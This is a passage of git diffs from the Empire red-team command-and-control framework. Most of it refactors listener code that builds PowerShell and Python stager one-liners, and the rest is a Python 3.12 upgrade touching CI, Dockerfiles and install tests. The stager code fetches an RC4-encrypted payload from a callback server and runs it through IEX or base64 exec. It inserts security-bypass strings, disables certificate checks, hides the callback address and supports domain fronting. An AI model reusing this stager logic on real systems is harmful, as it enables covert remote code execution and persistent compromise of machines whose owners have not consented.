Remove comments and make one line - launcher = helpers.strip_powershell_comments(launcher) - launcher = data_util.ps_convert_to_oneliner(launcher) + launcher += "$Script:Proxy = $wc.Proxy;" - if obfuscate: - launcher = self.mainMenu.obfuscationv2.obfuscate( - launcher, - obfuscation_command=obfuscation_command, - ) - launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) + # code to turn the key string into a byte array + launcher += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(launcher, launcher_cmd) - else: - return launcher + # this is the minimized RC4 launcher code from rc4.ps1 + launcher += listener_util.powershell_rc4() - if language.startswith("pyth"): - log.error( - "listeners/onedrive generate_launcher(): Python agent not implemented yet" + launcher += f"$data=$wc.DownloadData('{self.stager_url}');" + launcher += "$iv=$data[0..3];$data=$data[4..$data.length];" + launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + launcher = helpers.strip_powershell_comments(launcher) + launcher = data_util.ps_convert_to_oneliner(launcher) + + if obfuscate: + launcher = self.mainMenu.obfuscationv2.obfuscate( + launcher, + obfuscation_command=obfuscation_command, ) - return "Python not implemented yet" + launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher) + + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(launcher, launcher_cmd) + else: + return launcher + + if language.startswith("pyth"): + log.error( + "listeners/onedrive generate_launcher(): Python agent not implemented yet" + ) + return "Python not implemented yet" def generate_stager( self, diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index b337fd493..543bf56c6 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -105,314 +105,297 @@ def generate_launcher( log.error("listeners/template generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if language.startswith("po"): - # PowerShell + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + if language.startswith("po"): + # PowerShell - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - stager += "$wc=New-Object System.Net.WebClient;" + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" + stager += "$wc=New-Object System.Net.WebClient;" - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" - else: - # TODO: implement form for other proxy - stager += ( - f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" - ) - stager += "$wc.Proxy = $proxy;" + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + else: + # TODO: implement form for other proxy + stager += ( + f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" + ) + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');" else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');" - - else: - usr = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');" - - stager += "$wc.Proxy.Credentials = $netcred;" - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + usr = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');" + + stager += "$wc.Proxy.Credentials = $netcred;" + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - ) + # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" + stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';" - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if headerKey.lower() == "host": + stager += "try{$ig=$wc.DownloadData($ser)}catch{};" - # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" - stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';" + stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");' - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if headerKey.lower() == "host": - stager += "try{$ig=$wc.DownloadData($ser)}catch{};" + # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");' + stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");' + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - # add the RC4 packet to a cookie + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");' - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if language.startswith("py"): + # Python - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language.startswith("py"): - # Python - - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p, exc_info=True) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += "import urllib.request;\n" - launcherBase += "UA='%s';" % (userAgent) - launcherBase += f"server='{host}';t='{stage0}';" - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - launcherBase += "req=urllib.request.Request(server+t);\n" - # add the RC4 packet to a cookie - launcherBase += "req.add_header('User-Agent',UA);\n" - launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( - b64RoutingPacket - ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += "import urllib.request;\n" + launcherBase += "UA='%s';" % (userAgent) + launcherBase += f"server='{host}';t='{stage0}';" + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) - launcherBase += 'req.add_header("{}","{}");\n'.format( - headerKey, - headerValue, - ) + launcherBase += "req=urllib.request.Request(server+t);\n" + # add the RC4 packet to a cookie + launcherBase += "req.add_header('User-Agent',UA);\n" + launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( + b64RoutingPacket + ) - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) + launcherBase += f'req.add_header("{headerKey}","{headerValue}");\n' + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - proto = proxy.Split(":")[0] + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" + "proxy_auth_handler.add_password(None,'" + proxy - + "'});\n" + + "','" + + username + + "','" + + password + + "');\n" ) - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" - else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: - launcherBase += "o = urllib.request.build_opener();\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % launchEncoded - ) - return launcher - else: - return launcherBase - - if language.startswith("csh"): - workingHours = listenerOptions["WorkingHours"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - customHeaders = profile.split("|")[2:] - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - with open( - self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb" - ) as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") - stager_yaml = ( - stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) - .replace("{{ REPLACE_SESSIONKEY }}", stagingKey) - .replace("{{ REPLACE_PROFILE }}", profile) - .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) - .replace("{{ REPLACE_KILLDATE }}", killDate) - .replace("{{ REPLACE_DELAY }}", str(delay)) - .replace("{{ REPLACE_JITTER }}", str(jitter)) - .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + launcher = ( + "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" + % launchEncoded + ) + return launcher + else: + return launcherBase - compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": - self.instance_log.error( - f"{listenerName} csharpserver plugin not running" - ) - else: - file_name = compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) - return file_name + if language.startswith("csh"): + workingHours = listenerOptions["WorkingHours"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + customHeaders = profile.split("|")[2:] + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + + with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: + stager_yaml = f.read() + stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) + .replace("{{ REPLACE_SESSIONKEY }}", stagingKey) + .replace("{{ REPLACE_PROFILE }}", profile) + .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) + .replace("{{ REPLACE_KILLDATE }}", killDate) + .replace("{{ REPLACE_DELAY }}", str(delay)) + .replace("{{ REPLACE_JITTER }}", str(jitter)) + .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + ) + compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") + if not compiler.status == "ON": + self.instance_log.error( + f"{listenerName} csharpserver plugin not running" + ) else: - log.error( - "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + file_name = compiler.do_send_stager( + stager_yaml, "Sharpire", confuse=obfuscate ) + return file_name + + else: + log.error( + "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index cb49d4a77..5c12f7149 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -192,37 +192,31 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - _stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a.strip("/") for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - _launchURI = f"{host}/{stage0}" - - if language.startswith("po"): - # PowerShell - return "" - - if language.startswith("py"): - # Python - return "" + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - else: - print( - helpers.color( - "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) + host = listenerOptions["Host"]["Value"] + _stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + _launchURI = f"{host}/{stage0}" + + if language.startswith("po"): + # PowerShell + return "" + + if language.startswith("py"): + # Python + return "" + + else: + print( + helpers.color( + "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + ) def generate_stager( self, From 4ba4bab4df86458db798dc6225d6472fe79bf228 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 4 Nov 2023 17:10:11 -0700 Subject: [PATCH 06/29] Python 3.12 (#716) * initial install script updates * more cleanup * merge common code * update Dockerfile * update dependencies for python 3.12 * allow 3.12 for deps * pysecretsocks compat * bump minimum py version to 3.10, upgrade deps for 3.12, add 3.12 to supported versions * bump to python 3.12 * upgrade deps * update pr matrix * ignore thread warnings * take out the huge query * take out the huge query in the perf test * typos in compose file * more tweaks * bump time limit on install tests * bump perf test again because py3.12 is slow on the runner for some reason * disable some steps * run ci * remove token * fix geo issue * run py 3.12 tests * uncomment * move symlink to install script. use sudo for mysql setup * fix symlinks * add keyring bypass to kali * setup keyring no matter the os. update nim symlinking * Update CHANGELOG.md * split install tests * org agnostic check * Fix function * remove release token from checkout in python step * remove release token from checkout in python step * fix function * syntax * update run-all-tests script * change var name * add some echos * split CI * updates * remove token * wrong path * re-enable token * disable parrot for now * install starkiller in the docker build. check or it in cst. update forked dep references * update changelog with warning --- .dockerignore | 1 + .github/cst-config-docker.yaml | 57 +- .github/install_tests/Debian10.Dockerfile | 10 - .github/install_tests/Debian11.Dockerfile | 9 - .github/install_tests/InstallTest.Dockerfile | 18 + .github/install_tests/KaliRolling.Dockerfile | 9 - .../install_tests/ParrotRolling.Dockerfile | 9 - .github/install_tests/Ubuntu2004.Dockerfile | 9 - .github/install_tests/Ubuntu2204.Dockerfile | 9 - .github/install_tests/cst-config-debian.yaml | 8 + .../install_tests/cst-config-debian10.yaml | 18 - .../install_tests/cst-config-debian11.yaml | 18 - .../cst-config-install-base.yaml} | 44 +- .github/install_tests/cst-config-kali.yaml | 8 + .../install_tests/cst-config-kalirolling.yaml | 18 - .github/install_tests/cst-config-parrot.yaml | 8 + .../cst-config-parrotrolling.yaml | 18 - .github/install_tests/cst-config-ubuntu.yaml | 8 + .../install_tests/cst-config-ubuntu2004.yaml | 18 - .../install_tests/cst-config-ubuntu2204.yaml | 18 - .../docker-compose-install-tests.yml | 63 +- .github/install_tests/run-all-cst.sh | 29 + .github/workflows/lint-and-test.yml | 126 +- .pre-commit-config.yaml | 4 +- .python-version | 1 + CHANGELOG.md | 21 + Dockerfile | 30 +- README.md | 6 +- docs/quickstart/installation/README.md | 10 +- empire/test/conftest.py | 2 - empire/test/test_agent_checkins_api.py | 23 +- empire/test/test_stager_api.py | 8 +- poetry.lock | 1911 +++++++++-------- pyproject.toml | 39 +- pytest.ini | 4 + setup/install.sh | 259 ++- 36 files changed, 1447 insertions(+), 1404 deletions(-) delete mode 100644 .github/install_tests/Debian10.Dockerfile delete mode 100644 .github/install_tests/Debian11.Dockerfile create mode 100644 .github/install_tests/InstallTest.Dockerfile delete mode 100644 .github/install_tests/KaliRolling.Dockerfile delete mode 100644 .github/install_tests/ParrotRolling.Dockerfile delete mode 100644 .github/install_tests/Ubuntu2004.Dockerfile delete mode 100644 .github/install_tests/Ubuntu2204.Dockerfile create mode 100644 .github/install_tests/cst-config-debian.yaml delete mode 100644 .github/install_tests/cst-config-debian10.yaml delete mode 100644 .github/install_tests/cst-config-debian11.yaml rename .github/{cst-config-base.yaml => install_tests/cst-config-install-base.yaml} (50%) create mode 100644 .github/install_tests/cst-config-kali.yaml delete mode 100644 .github/install_tests/cst-config-kalirolling.yaml create mode 100644 .github/install_tests/cst-config-parrot.yaml delete mode 100644 .github/install_tests/cst-config-parrotrolling.yaml create mode 100644 .github/install_tests/cst-config-ubuntu.yaml delete mode 100644 .github/install_tests/cst-config-ubuntu2004.yaml delete mode 100644 .github/install_tests/cst-config-ubuntu2204.yaml create mode 100755 .github/install_tests/run-all-cst.sh create mode 100644 .python-version diff --git a/.dockerignore b/.dockerignore index 546c0cff5..bbb3bbfbe 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,6 +1,7 @@ # Git **.git .gitignore +.github # CI .codeclimate.yml diff --git a/.github/cst-config-docker.yaml b/.github/cst-config-docker.yaml index 10f06f45a..195bdef20 100644 --- a/.github/cst-config-docker.yaml +++ b/.github/cst-config-docker.yaml @@ -1,10 +1,59 @@ schemaVersion: 2.0.0 commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] + - name: "poetry python" + command: "poetry" + args: ["run", "which", "python3"] expectedOutput: ["/usr/local/bin/python3"] - name: "python3 version" command: "python3" args: ["--version"] - expectedOutput: ["Python 3.11.*"] + expectedOutput: ["Python 3.12.*"] + - name: "poetry" + command: "which" + args: ["poetry"] + expectedOutput: ["/usr/bin/poetry"] + - name: "poetry version" + command: "poetry" + args: ["--version"] + expectedOutput: ["Poetry (version 1.6*)*"] + - name: "poetry python version" + command: "poetry" + args: ["run", "python3", "--version"] + expectedOutput: ["Python 3.12.*"] + - name: "dotnet which" + command: "which" + args: ["dotnet"] + expectedOutput: ["/usr/bin/dotnet"] + - name: "dotnet version" + command: "dotnet" + args: [ "--version" ] + expectedOutput: ["6.0.*"] + - name: "powershell which" + command: "which" + args: ["pwsh"] + expectedOutput: ["/usr/bin/pwsh"] + - name: "powershell version" + command: "pwsh" + args: ["--version"] + expectedOutput: ["PowerShell 7.*"] + - name: "ps-empire help" + command: "./ps-empire" + args: ["server", "--help"] + expectedOutput: ["usage: empire.py server [-h]*"] + - name: "ps-empire version" + command: "./ps-empire" + args: ["server", "--version"] + expectedOutput: ["5.* BC Security Fork"] +fileExistenceTests: + - name: 'profiles' + path: '/empire/empire/server/data/profiles/' + shouldExist: true + - name: 'invoke obfuscation' + path: '/usr/local/share/powershell/Modules/Invoke-Obfuscation/' + shouldExist: true + - name: 'sharpire' + path: '/empire/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire' + shouldExist: true + - name: 'starkiller' + path: '/empire/empire/server/api/v2/starkiller/index.html' + shouldExist: true diff --git a/.github/install_tests/Debian10.Dockerfile b/.github/install_tests/Debian10.Dockerfile deleted file mode 100644 index 6c8de919e..000000000 --- a/.github/install_tests/Debian10.Dockerfile +++ /dev/null @@ -1,10 +0,0 @@ -FROM debian:buster -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -# No to all extras except yes to "Python 3.8" -RUN echo 'n\nn\nn\ny\n' | /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/Debian11.Dockerfile b/.github/install_tests/Debian11.Dockerfile deleted file mode 100644 index 09bbe8657..000000000 --- a/.github/install_tests/Debian11.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM debian:bullseye -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN yes n | /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/InstallTest.Dockerfile b/.github/install_tests/InstallTest.Dockerfile new file mode 100644 index 000000000..dd1c398cd --- /dev/null +++ b/.github/install_tests/InstallTest.Dockerfile @@ -0,0 +1,18 @@ +ARG BASE_IMAGE +FROM $BASE_IMAGE +WORKDIR /empire +COPY . /empire + +SHELL ["/bin/bash", "-c"] + +RUN apt-get update && apt-get -y install sudo + +# Add a non-root user +RUN echo 'empire ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers +RUN useradd -m empire +RUN chown -R empire:empire /empire +USER empire + +RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml +RUN yes | /empire/setup/install.sh +RUN rm -rf /empire/empire/server/data/empire* diff --git a/.github/install_tests/KaliRolling.Dockerfile b/.github/install_tests/KaliRolling.Dockerfile deleted file mode 100644 index cc58a8da8..000000000 --- a/.github/install_tests/KaliRolling.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM kalilinux/kali-rolling:latest -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN yes n | /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/ParrotRolling.Dockerfile b/.github/install_tests/ParrotRolling.Dockerfile deleted file mode 100644 index c0cee41b5..000000000 --- a/.github/install_tests/ParrotRolling.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM parrotsec/core:latest -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN yes n | /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/Ubuntu2004.Dockerfile b/.github/install_tests/Ubuntu2004.Dockerfile deleted file mode 100644 index 4b92c6d03..000000000 --- a/.github/install_tests/Ubuntu2004.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM ubuntu:20.04 -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN yes n 